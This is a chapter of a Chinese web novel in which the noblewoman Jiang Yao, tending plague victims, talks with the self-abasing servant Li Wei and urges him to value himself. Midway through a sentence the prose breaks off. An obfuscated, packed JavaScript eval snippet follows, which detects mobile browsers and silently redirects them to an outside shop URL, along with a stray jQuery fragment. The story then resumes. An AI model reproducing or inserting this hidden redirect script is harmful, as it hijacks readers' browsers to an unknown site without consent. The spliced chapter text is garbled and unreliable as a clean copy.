17. 第 17 章
    “陈大夫,您怎么来了?”晴天兴奋道,突然,她目光一转,脸上的笑容凝固住,她手指着李苇问道:“他为什么也来了?”

    李苇弓了弓身子礼貌的打了招呼,“晴天姑娘。”

    晴天不待见的撇了他一眼。

    陈远揉了揉老腰,假装抱怨道:“这庙子还挺高,一路爬上来还挺累,对了,小姐呢?”

    晴天指着自己背后其中一间禅房,“那边,小姐在熬药。”

    “走吧走吧,去找小姐。”陈远挥了挥手。

    李苇眼神有些隐隐期待,他就要见到姑娘了,不知道姑娘会不会高兴见到他。

    门是大打开的,走上去一眼就看到了江瑶,她此刻正坐在矮凳上熬药,手里扇着扇子,控制着火苗的大小。

    江瑶诧异的看着进来的二人,“陈大夫?李苇?怎么来的是你们?”

    陈远装作不满的撇头道:“怎么?小姐还不乐意看见老夫?”

    江瑶失笑,放下手里的扇子站起身来,“哪里,只是如今的璃县太危险了。”

    她走近,到李苇跟前上上下下的打量着他。

    李苇感受到江瑶无处可躲的视线,脸变的爆红,他吞吞吐吐道:“姑……姑娘?”

    “你的腿好了吗?怎么也跟着来璃县了?”江瑶有些担忧道。

    “姑娘,奴……奴才好了……”他低着头,后退了一步。

    陈远无语的撇了李苇一眼,“放心吧小姐,他腿现在好得很,你可是不知道他做了什么事。”

    江瑶眉眼间闪过诧异。

    “什么事?”

    “哼,让这小子给你讲吧,我现在要去看看那些病患。”陈远转头对晴天道:“晴天姑娘,带带路吧。”

    “哦,哦,好。”晴天回过神。

    其他二人离开了,江瑶坐回矮凳上,拿起扇子继续有一搭没一搭的扇着。

    “坐。”江瑶指着旁边另一个矮凳道,这是方才晴天坐过的。

    “奴才不敢。”李苇弓着腰卑微道。

    江瑶转过头,视线定在李苇身上一动不动。

    方才门大打开着,她其实在他们进来前就已经看见了。

    她清清楚楚的看见李苇站在陈大夫身旁,有一些习惯性的低着头,坨了些背,但却不曾像现在这般又弓起腰身。

    他在她面前是这样的姿态,好似她的身份总在提醒他,他是皇宫里的李苇,而不是普通人李苇。

    江瑶沉默了很久,李苇甚至不知道什么时候她已经走到了他的面前。

    “李苇,我的身份,是你的负担吗?”清淡的声音从上而下缓缓的传到李苇的耳朵里。

    李苇身躯一震,紧张道:“姑娘,姑娘的身份怎么会是奴才的负担?姑娘,奴才……”

    “那就直起腰,抬起头。”一字一句,传到李苇的耳朵里让他浑身绷紧。

    江瑶在等待他的回答。

    “这里不是皇宫,也不是将军府。”

    时间一分一秒的流逝。

    慢慢的,江瑶面前伸出一个很长的影子。

    “姑娘……”这道声音带着不安,慌张,自上而下传到江瑶耳朵里。

    江瑶笑了笑,眼底如星辰般璀璨,“嗯。”

    这好像是她第一次在有光亮的地方看到站直的李苇的模样。

    他皮肤白皙,唇色也偏白,头发倒是比前段时间看起来乌黑了一些,身体壮实了一些,仔细看去,他的眉眼甚是好看,瞳孔跟大海一样。

    看的出来,他恢复的不错。

    “来,坐。”江瑶坐回矮凳。

    李苇看着江瑶的侧影,橙红的火光照映在她半边脸上,寒冷的天,却像有太阳似的温暖。

    他轻轻走过去,再缓缓坐下,低下头,睫毛轻轻颤抖着。

    “姑娘,奴才……提前将姑娘来璃城的事散布了出去。”

    说着他开始解释事情原委。

    江瑶的手顿住,她转过头诧异的看着李苇。

    “你做的?”

    李苇点点头,就在他以为江瑶要责怪他擅作主张时,江瑶却突然笑出声。

    “做得好。”

    李苇抬起头,二人双眸对视。

    “姑娘……”

    江瑶嘴角嗪笑,她原以为是陈大夫做的。

    “我没想到璃县会发生疫情,所以事先没有给任何人留信。”

    李苇,很聪明,在自卑的躯壳下,却有一具很聪慧的灵魂,江瑶欣赏的看着他。

    当初她看完凤召简史,了解完将军府的处境就知道如今的凤召圣上存了什么样的心思。

    她秘密来璃县的确是有想保护江衔的用意,但她不是神,不知晓璃县会发生疫情,因此没有提前留信给任何人。

    按照她的计划,她离京的消息会在五日后,太子寿宴时被发现,到时候满城皆知她在璃县,如若此时的璃县情况不好,朝廷必定会派人前来。

    而如今璃县疫情发生,若此时她离京的事能提前被朝廷知晓,朝廷不但要想尽办法救璃县和江衔,封城的事或许也能迎来转机。

    毕竟,不能传出江家嫡系子女冒着性命在璃县救灾,皇室却无情封城让百姓自生自灭的传闻吧。

    只不过……

    江瑶眼眸暗了暗,江家本就深得民心,此事一成,更加成了皇室的掌中刺肉中刀。

    “姑娘,奴才都明白。”李苇缓缓道。

    “明白什么?”江瑶回过神。

    李苇眼神暗了暗,“奴才在宫里生活了很久,奴才明白姑娘所想。”他有些紧张的攥了攥手心。

    江瑶心下了然了。

    他是该明白,否则怎会知晓她的用意。

    李苇说完这句话觉得很害怕,他害怕江瑶会以为他居心不良,或者是心机颇深。

    他口不择言道:“姑娘,奴才并无其他用意,奴才只是,奴才……奴才不会伤害姑娘。”

    江瑶“噗嗤”一笑道:“紧张什么?我没说什么。”

    李苇哑然。

    江瑶盯着李苇的眼睛,从第一次见,她便知道他的眼睛是纯粹的。

    一个人可以做任何伪装让自己误以为是个好人,可唯独眼睛,眼睛骗不了人。

    “我知道,别担心,别怕,不会误会你。”江瑶说完回过头继续扇扇子。

    李苇的心里划过一道暖流,他低头笑了笑。

    姑娘相信他。

    “但是李

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13381915|141069||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    苇。”江瑶话锋一转正色道:“你知不知道这是什么地方?你身子才刚好就跑过来,万一再出现什么意外怎么办?”

    李苇怔了怔,姑娘担心他?

    “奴才……奴才……”他憋了半天,最后说道:“奴才不会有事的。”

    说完脸变的微红,无论如何,他也不能当着姑娘的面说担心她。

    江瑶叹了一口气,算了,人已经来了。

    “注意安全,知道吗?”

    “奴才知道。”

    江瑶看着眼前的药,“时辰差不多了。”说完拿起地上的帕子准备把药端起来。

    “嘶~”她被烫到正准备收回手,却在收回来的途中猛地顿住。

    只见李苇抓住了她的手,目不转睛的盯着那一块被烫红的地方轻轻的吹着。

    他好像全然不知发生了什么事,只凭着天然反应。

    突然,他猛地瞪大瞳孔,猝然松手跪在地上伏额谢罪道:“奴才该死!”

    李苇龟缩在地上,身躯狠狠的颤抖着。

    他方才,是在做什么!!!

    他一个卑贱之躯,竟然碰了姑娘的手!!!

    江瑶反应过来,她收回手,心中有些异样。

    “起来,李苇。”

    李苇跪在地上毫无反应,他说道:“姑娘,治奴才的罪吧,奴才罪该万死。”

    江瑶眉头狠狠皱起,她再次重复道:“起来!李苇!”

    李苇纹丝不动。

    “李苇!”江瑶的语气重了些。

    半响他颤抖的抬起头。

    只见他的眼眶已经变的猩红,眼里尽是惊恐。

    “姑娘,砍了奴才的手吧。”说完他又跪了下去,伸出自己碰了她的右手。

    江瑶轻轻叹气,砍手?她才治好了他的腿不是吗?

    她蹲下身猝不及防的握住他的手臂。

    只见李苇浑身狠狠一抖,猛地抬头一脸不可置信的看着江瑶,“姑……姑娘……”

    “起来,还是要我像第一次一样?”江瑶嘴角含笑,看似无害,李苇却知道这其中的威胁不异于让他现在去死。

    第一次,江瑶也是这样握住他的手臂,让他起来。

    在这一方空间,李苇的心跳犹如火烧一般。

    “起来。”她再次说道。

    李苇的双膝渐渐离地,面上一片惨败,额头隐隐约约还有冷汗滴下。

    江瑶安慰道:“别怕,没有关系的,李苇。”

    李苇站起来了,眼睛下垂,不敢直面江瑶,他方才的举动,放在宫里当真是可以死千万次。

    只有姑娘心善,可他却凭着这份心善,屡次冒犯,实在是该死。

    “李苇,这并没有什么,你无需如此。当有一天,你将自己看的重要了,你将自己和我放在同一位置上了,你会发现这根本没有什么,你总得学会爱自己。”

    李苇心里想到,他如何会有一天能和姑娘的位置一样,他只是个卑贱之人。

    “或许现在还不行,但终有一日可以。这个世上,或许没有人爱你,但有一个人可以永远爱你,那个人就是自己。李苇,别受他人规训,别将自己看轻,我们慢慢学吧,一切都会好的,我相信。”